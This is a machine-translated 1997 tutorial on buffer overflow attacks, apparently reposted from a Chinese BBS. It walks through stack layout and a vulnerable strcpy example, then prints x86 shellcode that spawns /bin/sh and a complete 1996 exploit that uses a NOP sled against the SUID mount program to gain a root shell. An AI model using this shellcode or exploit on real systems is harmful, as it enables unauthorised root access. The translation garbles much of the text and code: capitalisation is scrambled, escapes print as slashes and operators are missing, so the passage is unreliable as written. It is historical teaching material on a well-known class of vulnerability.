The content of this article is for educational purposes. The author does not guarantee the correctness of the content. In any case, the author is not
For any damage or problem arising from the content of the text in the text. Risk using this article
Bell himself.
Computer application studio 1997 review
########################################################################
Buffer overflow mechanism analysis
########################################################################
ONLY 1997.7.19
ONLY.BBS@bbs.sjtu.edu.cn
1. What is the buffer overflow?
~~~~~~~~~~~~~~~~~~~
Buffer overflow, buffer overrun, smash the stack, trash the stack,
Scribble The Stack, Mangle The Stack, Spam, Alias Bug, Fandango on Core,
Memory Leak, Precedence Lossage, Overrun Screw ... Refers to a system attack
Segment, the content of the length of the buffer is written through the buffer of the program, resulting in the overflow of the buffer
The preface stack makes the program to perform other instructions to achieve the purpose of attack. According to statistics, through the buffer area
The attack on overflow accounts for more than 80% of the total number of attacks in all systems.
The reason for causing buffer overflow is that the parameters that the user input is not carefully checked in the program. For example, the next face
sequence:
EXAMPLE1.C
-------------------------------------------------- --------------------
Void function (char * str) {
Char buffer [16];
STRCPY (BUFFER, STR);
}
-------------------------------------------------- --------------------
The above STRCPY () will directly click the contents in the STR COPY to the buffer. This is as long as the length of STR
More than 16, it will cause overflow of buffer to make the program run error. There is a problem like Strcpy
Standard functions include strcat (), sprintf (), vsprintf (), gets (), scanf (), and in the cycle
Getc (), FGETC (), getchar (), etc.
Of course, it is necessary to fill things in the buffer to cause it to overflow. Segmentation Fault will only appear.
Error, and cannot achieve the purpose of attack. The most common means is to operate by manufacturing buffer overflow
A user shell, perform other commands through the shell. If the program belongs to root and has SUID permissions
If the attacker gets a shell with root privileges, you can operate any system.
Please note that if there is no specification, the following content assumes that the platform used by the user is Intel.
X86 CPU's Linux system. For other platforms, the concept of this article is equally applicable, but the program must be corresponding
modify.
2. Manufacturing buffer overflow
~~~~~~~~~~~~~~~~
A program is usually divided into blocks, data terminals, and stacks in memory. Procedures in the block
Order machine code and read data. Data segments are placed in static data in the program. Dynamic data passes through the stack
To store. In memory, their location is:
-------------- memory low end
| Block |
| ------------------
| Data segment |
| ------------------
| Stack |
---------------- memory high end
When a function call occurs in the program, the computer is doing the following: first press the parameters into the stack; then save the content in the instruction register (IP) as the return address (RET); the third place is the base address
Depository (FP); then copy the current stack pointer (SP) to FP, as a new base address; finally
The amount leaves a certain space and subtracts the SP to the appropriate value. The following procedure is taken as an example:
EXAMPLE2.C
-------------------------------------------------- --------------------
Void function (char * str) {
Char buffer [16];
STRCPY (BUFFER, STR);
}
Void main () {
CHAR LARGE_STRING [256];
INT I;
For (i = 0; i <255; i )
Large_string [i] = 'a';
Function (large_string);
}
-------------------------------------------------- --------------------
When the function function () is called, the stack is as follows:
Low internal buffer SFP RET * STR high internal memory
<------ [] [] [] []
Stack top
Needless to say, the result of the program is "Segmentation Fault (Core Dumped" or similar
Error information. Because 256 bytes starting from Buffer will be overwritten by * STR 'a', including SFP,
RET, even * STR. The hex value of 'a' is 0x41, so the return address of the function becomes 0x41414141,
This exceeds the address space of the program, so there is a paragraph error.
3. Overflow through the buffer to get the user shell
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If you write the code we want to perform in the overflowed buffer, then override the return address (RET)
To point it to the beginning of the buffer, you can achieve the purpose of running other instructions.
Low internal buffer SFP RET * STR high internal memory
<------ [] [] [] []
Top ^ | Stack
| ________________________ |
Usually, we want to run a user shell. Here is a very beautiful shell code.
EXAMPLE3.C
-------------------------------------------------- --------------------
Void main () {
__ASM __ ("
JMP 0x1f # 2 bytes
POPL% ESI # 1 byte
MOVL% ESI, 0x8 (% ESI) # 3 bytes
XORL% EAX,% EAX # 2 bytes
MOVB% EAX, 0x7 (% ESI) # 3 bytes
MOVL% EAX, 0xc (% esi) # 3 bytes
MovB $ 0XB,% Al # 2 bytes
MOVL% ESI,% EBX # 2 bytes
Leal 0x8 (% ESI),% ECX # 3 bytes
Leal 0xc (% ESI),% EDX # 3 bytesint $ 0x80 # 2 bytes
XORL% EBX,% EBX # 2 Bytes
MOVL% EBX,% EAX # 2 bytes
INC% EAX # 1 bytes
INT $ 0x80 # 2 bytes
Call -0x24 # 5 bytes
.string / "/ bin / sh /" # 8 bytes
# 46 bytes Total
");
}
-------------------------------------------------- --------------------
The above program can be represented by the machine code to get the following hex shell code string.
EXAMPLE4.C
-------------------------------------------------- --------------------
Char shellcode [] =
"/ XEB / X1F / X5E / X89 / X76 / X08 / X31 / XC0 / X88 / X46 / X07 / X89 / X0B"
"/ x89 / x08 / x8d / x56 / x0c / xcd / x80 / x31 / xdb / x89 / xd8 / x40 / xcd"
"/ x80 / xe8 / xdc / xff / xff / xff / bin / sh";
Char large_string [128];
Void main () {
Char buffer [96];
INT I;
Long * long_ptr = (long *) Large_String;
For (i = 0; i <32; i )
* (long_ptr i) = (int) BUFFER;
For (i = 0; i Large_string [i] = shellcode [i]; STRCPY (Buffer, Large_String); } -------------------------------------------------- -------------------- What this program is done is that in Large_String, fill in the address of the buffer and put the shell code. Put it to the front part of Large_String. Then Large_String is copied into the buffer, resulting in it overflow Out, make the return address becomes buffer, and the buffer's content is the shell code. This is the program When you return to strcpy (), you will turn the Shell. 4. System Attacks that use buffer overflow ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ If a program is known to have a buffer overflow, how to know the address of the buffer, put it there What about the shell code? Since each program's stack start address is fixed, it can be through Repeatedly re-trial buffer is obtained relative to the distance of the stack start position. But such blind guess may enter Hundreds of thousands of times, actually unrealistic. The solution is to use the empty directive NOP. At shell code Play a long string of NOP, return address can point to any location in this string NOP, execute NOP instructions The post program will activate the Shell process. This greatly increases the possibility of guess. Low internal buffer SFP RET * STR high internal memory <------ [nnnnnnnssssssssssssssssssssss] [] [] [] Top ^ | Stack | ______________________________ | In the figure, n represents NOP, S represents the shell. Below is an instance of a buffer overflow attack, which uses the vulnerability of the system program MOUNT: EXAMPLE5.C -------------------------------------------------- -------------------- / * Mount Exploit for Linux, Jul 30 1996 Discovered and code by Bloodmask & Vio Covin Security 1996 * / #include #include #include #include #include #define pat_mount "/ bin / umount" #define buffer_size 1024 #define default_offset 50 u_long get_esp () { __ASM __ ("MOVL% ESP,% EAX"); } Main (int Argc, char ** argv) { u_char execShell [] = "/ XEB / X24 / X5E / X8D / X1E / X89 / X5E / X0B / X33 / XD2 / X89 / X56 / X07 / X89 / X56 / X0F" "/ xb8 / x1b / x56 / x34 / x12 / x35 / x10 / x56 / x34 / x12 / x8d / x4e / x0b / x8b / xd1 / xcd" "/ x80 / x33 / xc0 / x40 / xcd / x80 / xe8 / xd7 / XFF / XFF / XFF / BIN / SH" Char * buff = NULL; Unsigned long * addr_ptr = null; Char * ptr = NULL; INT I; INT OFS = Default_offset; BUFF = Malloc (4096); IF (! buff) { Printf ("Can't Allocate Memory / N); exit (0); } PTR = BUFF; / * Fill Start of buffer with nops * / MEMSET (PTR, 0x90, Buffer_Size-strlen (Execshell); PTR = buffer_size-strlen (Execshell); / * Stick asm code INTO the buffer * / For (i = 0; I * (PTR ) = execShell [i]; Addr_ptr = (long *) PTR; FOR (i = 0; i <(8/4); i ) * (AddR_ptr ) = get_esp () OFS; PTR = (char *) addr_ptr; * PTR = 0; (void) ALARM ((U_INT) 0); Printf ("Discovered and Coded by Bloodmask and Vio, Covin 1996 / N"); EXECL (Path_Mount, "Mount", Buff, NULL) } -------------------------------------------------- -------------------- The role of the Get_ESP () function in the program is the positioning stack position. The program first assigns a tentative area BUFF, and then fills the NOP in front of the buff, and the shell code is placed behind. The last part is hope The address returned by the program is obtained by the stack address. When you call mount as a parameter as a parameter, it will result The stack overflow of the MOUNT program is overwritten by the buffer, and the return address will point to the NOP instruction. Since the Mount program is ROOT, there is a SuID bit, the results of ordinary users run the above program Get a shell with root privileges. - Transfer from Carefree code :: loving generative programming